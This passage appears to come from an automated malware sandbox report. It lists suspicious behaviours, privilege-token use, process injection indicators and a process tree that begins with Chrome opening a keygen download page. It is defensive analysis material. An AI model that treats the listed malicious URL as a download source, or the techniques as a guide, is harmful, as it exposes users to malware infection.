1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe
1288	Tugaeharuxae.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

lighteningplayer.exe

pid process

3040
576 lighteningplayer.exe
Suspicious behavior: LoadsDriver 3 IoCs

Processes:

VNrgBL

pid process

392 VNrgBL
392 VNrgBL
392 VNrgBL

pid	process
3040
576	lighteningplayer.exe

pid	process
392	VNrgBL
392	VNrgBL
392	VNrgBL

Suspicious behavior: MapViewOfSection 53 IoCs

Processes:

MicrosoftEdgeCP.exekabo.exetoolspab1.exeexplorer.exeexplorer.exeexplorer.exeexplorer.exebwfiwcdtffiwcd

pid	process
5492	MicrosoftEdgeCP.exe
5492	MicrosoftEdgeCP.exe
5492	MicrosoftEdgeCP.exe
5020	kabo.exe
5492	MicrosoftEdgeCP.exe
5492	MicrosoftEdgeCP.exe
1008	toolspab1.exe
3040
3040
3040
3040
3040
3040
3040
3040
5916	explorer.exe
5916	explorer.exe
5916	explorer.exe
5916	explorer.exe
5916	explorer.exe
5916	explorer.exe
5916	explorer.exe
5916	explorer.exe
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
6100	explorer.exe
6100	explorer.exe
3040
3040
3040
3040
4732	explorer.exe
4732	explorer.exe
3040
3040
3040
3040
6532	explorer.exe
6532	explorer.exe
3040
3040
6380	bwfiwcd
6104	tffiwcd

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

rundll32.exesvchost.exeJoSetp.exetaskkill.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeTcbPrivilege	3328	svchost.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	3784	JoSetp.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	4236	taskkill.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe

Suspicious use of FindShellTrayWindow 25 IoCs

Processes:

chrome.exechrome.exeultramediaburner.tmpirecord.tmp7zG.exe7zG.exelighteningplayer.exe

pid	process
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
3680	chrome.exe
4380	chrome.exe
4380	chrome.exe
3972	ultramediaburner.tmp
5724	irecord.tmp
2140	7zG.exe
6972	7zG.exe
576	lighteningplayer.exe
3040
3040
576	lighteningplayer.exe
576	lighteningplayer.exe

Suspicious use of SendNotifyMessage 52 IoCs

Processes:

lighteningplayer.exe

pid	process
576	lighteningplayer.exe
576	lighteningplayer.exe
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040

Suspicious use of SetWindowsHookEx 35 IoCs

Processes:

PING.EXEMicrosoftEdge.exeMicrosoftEdgeCP.exegoogle-game.exeCredentialUIBroker.exe8533.exe8831.exelighteningplayer.exeOpenWith.exe8533.exe8831.exe

pid	process
1868	PING.EXE
1868	PING.EXE
1484	MicrosoftEdge.exe
5492	MicrosoftEdgeCP.exe
5492	MicrosoftEdgeCP.exe
6248	google-game.exe
6248	google-game.exe
7028	CredentialUIBroker.exe
5988	8533.exe
6712	8831.exe
3040
3040
3040
3040
3040
3040
3040
576	lighteningplayer.exe
3040
3040
3040
3040
184	OpenWith.exe
3040
3040
3040
3040
3040
6384	8533.exe
4128	8831.exe
3040
3040
3040
3040
3040

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 3680 wrote to memory of 804	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 804	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 3996	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 188	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 188	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe
PID 3680 wrote to memory of 404	3680	chrome.exe	chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/8550ceeb125094q2480.html
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3680

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0x8,0xd4,0x7ff88dbc4f50,0x7ff88dbc4f60,0x7ff88dbc4f70
2⤵
PID:804

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1576 /prefetch:2
2⤵
PID:3996

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1624 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:188

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1940 /prefetch:8
2⤵
PID:404

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:1
2⤵
PID:2380

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2792 /prefetch:1
2⤵
PID:3968

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
2⤵
PID:4000

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
2⤵
PID:1416

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
2⤵
PID:3756

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:1
2⤵
PID:4012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4880 /prefetch:8
2⤵
PID:4396

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3552 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4580

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5960 /prefetch:8
2⤵
PID:4716

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5892 /prefetch:8
2⤵
PID:4768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5956 /prefetch:8
2⤵
PID:4820

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6204 /prefetch:8
2⤵
PID:4856

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6212 /prefetch:8
2⤵
PID:4892

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6360 /prefetch:8
2⤵
PID:4904

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6092 /prefetch:8
2⤵
PID:4964

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6892 /prefetch:8
2⤵
PID:4976

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4956 /prefetch:8
2⤵
PID:5036

C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
2⤵
PID:5048

C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x240,0x244,0x248,0x23c,0x218,0x7ff76f17a890,0x7ff76f17a8a0,0x7ff76f17a8b0
3⤵
PID:5092

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6748 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:744

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6708 /prefetch:8
2⤵
PID:4124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6596 /prefetch:8
2⤵
PID:4308

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6176 /prefetch:8
2⤵
PID:4364

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6148 /prefetch:8
2⤵
PID:2152

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6000 /prefetch:8
2⤵
PID:4408

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6116 /prefetch:8
2⤵
PID:4588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6300 /prefetch:8
2⤵
PID:1300

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6780 /prefetch:8
2⤵
PID:3716

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6820 /prefetch:8
2⤵
PID:4688

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6480 /prefetch:8
2⤵
PID:4552

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4932 /prefetch:8
2⤵
PID:4540

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6828 /prefetch:8
2⤵
PID:4728

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6864 /prefetch:8
2⤵
PID:2252

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6264 /prefetch:8
2⤵
PID:2108

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3656 /prefetch:8
2⤵
PID:4800

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6316 /prefetch:8
2⤵
PID:4856

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3888 /prefetch:8
2⤵
PID:4956

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4248 /prefetch:8
2⤵
PID:4904

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6304 /prefetch:8
2⤵
PID:5028

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4188 /prefetch:8
2⤵
PID:4608

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5056 /prefetch:8
2⤵
PID:4428

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6548 /prefetch:8
2⤵
PID:4716

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3660 /prefetch:8
2⤵
PID:4820

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6140 /prefetch:8
2⤵
PID:4836

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3524 /prefetch:8
2⤵
PID:4864

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,8776544975808439511,2447429436737962120,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3696 /prefetch:8
2⤵
PID:5044

C:\Program Files\Google\Chrome\Application\chrome.exe
